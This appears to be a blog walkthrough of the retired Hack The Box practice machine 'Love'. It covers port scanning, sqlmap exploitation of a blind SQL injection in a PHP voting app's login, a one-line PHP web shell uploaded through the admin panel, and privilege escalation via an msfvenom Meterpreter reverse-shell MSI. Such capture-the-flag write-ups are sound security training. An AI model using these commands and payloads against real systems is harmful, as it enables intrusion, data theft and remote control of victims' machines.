This post documents the complete walkthrough of Love, a retired vulnerable VM created by pwnmeow, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Love is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-05-02 14:17:47 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 5986/tcp on
Discovered open port 49669/tcp on
Discovered open port 5040/tcp on
Discovered open port 80/tcp on
Discovered open port 443/tcp on
Discovered open port 47001/tcp on
Discovered open port 5000/tcp on
Discovered open port 445/tcp on
Discovered open port 49668/tcp on
Discovered open port 5985/tcp on
Discovered open port 49670/tcp on
Discovered open port 49666/tcp on
Discovered open port 135/tcp on
Discovered open port 139/tcp on
Discovered open port 49665/tcp on
Discovered open port 49664/tcp on
Discovered open port 3306/tcp on
Discovered open port 49667/tcp on

Sure looks like the open-port profile of a Windows machine. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p80,135,139,443,445,3306,5000,5040,5985,5986 -A --reason -oN nmap.txt
80/tcp   open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
|   /:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject:
| Issuer:
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?       syn-ack ttl 127
5000/tcp open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open  unknown      syn-ack ttl 127
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open  ssl/http     syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2021-05-02T15:55:13+00:00; +21m34s from scanner time.
| tls-alpn:
|_  http/1.1

Since 80/tcp is open, let’s explore that service first. Here’s what it look like.

Not much going on to be honest. Well, the Common Name in the SSL certificate seems to be pointing to a and there’s an email address.

I’d better include that, as well as love.htb into /etc/hosts.

Directory/File Enumeration

Let’s see what we get with wfuzz and SecLists.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc '403,404' http://love.htb/FUZZ
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://love.htb/FUZZ
Total requests: 4681

ID           Response   Lines    Word       Chars       Payload

000000182:   301        9 L      30 W       329 Ch      "ADMIN"
000000187:   301        9 L      30 W       329 Ch      "Admin"
000000250:   301        9 L      30 W       330 Ch      "Images"
000000509:   301        9 L      30 W       329 Ch      "admin"
000001487:   301        9 L      30 W       328 Ch      "dist"
000002149:   301        9 L      30 W       330 Ch      "images"
000002170:   301        9 L      30 W       332 Ch      "includes"
000002177:   200        125 L    324 W      4388 Ch     "index.php"
000003126:   301        9 L      30 W       331 Ch      "plugins"
000001693:   503        11 L     44 W       398 Ch      "examples"

Total time: 0
Processed Requests: 4681
Filtered Requests: 4671
Requests/sec.: 0

Directory listing is enabled for the 301s with the exception of /admin.

SQL Injection

Let’s see what we can find on love.htb with sqlmap, judging by this.

I’m assuming the backend DBMS is MySQL or MariaDB given that we have 3306/tcp as an open port.

sqlmap -u http://love.htb/login.php --data="voter=0&password=password&login=" --level=3 --risk=3 --batch --dbms=mysql
POST parameter 'voter' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 824 HTTP(s) requests:
Parameter: voter (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voter=0' AND (SELECT 4278 FROM (SELECT(SLEEP(5)))gCFW)-- Twyy&password=password&login=
[16:16:57] [INFO] the back-end DBMS is MySQL
[16:16:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: Apache 2.4.46, PHP, PHP 7.3.27
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Let’s enumerate the database!


sqlmap -u http://love.htb/login.php --data="voter=0&password=password&login=" --batch --dbms=mysql --current-db
current database: 'votesystem'


sqlmap -u http://love.htb/login.php --data="voter=0&password=password&login=" --batch --dbms=mysql --current-user
current user: '[email protected]'

-D votesystem --tables

sqlmap -u http://love.htb/login.php --data="voter=0&password=password&login=" --batch --dbms=mysql -D votesystem --tables
Database: votesystem
[5 tables]
| admin      |
| candidates |
| positions  |
| voters     |
| votes      |


Well, I can read user.txt from phoebe’s Desktop but I still need a shell, right?

sqlmap -u http://love.htb/login.php --data="voter=0&password=password&login=" --batch --dbms=mysql --file-read="C:\\Users\\phoebe\\Desktop\\user.txt" --fresh-queries


Well, check out the Demo link in

Server-Side Request Forgery

The SSRF vulnerability is strong in this one.


Armed with the credential @LoveIsInTheAir!!!! we can finally log in to the admin panel of the VotingSystem. The Admin Profile dialog box is important because it allows us to upload a backdoor PHP file to /images.

This is my backdoor PHP file.

<?php echo shell_exec($_GET[0]); ?>

There you have it, remote command execution! With that, we can upload nc64.exe and run a reverse shell back to us. I’ll leave it as an exercise how to do that.

Privilege Escalation

Long story short. The Always install with elevated privileges is enabled for the local machine.

What this means is that we can upload a malicious MSI file and have msiexec.exe install it for us with NT AUTHORITY\SYSTEM privileges. Sounds like a plan.

Always install with elevated privileges

Yeah, who doesn’t like that? First, we create the payload with msfvenom. I’m going with Meterpreter for this one.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f msi -o met.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of msi file: 159744 bytes
Saved as: met.msi

Upload our payload to the remote machine. Next we fire up the payload handler in msfconsole.

Finally, install our payload with msiexec.exe.

Here’s our meterpreter.

The end is here…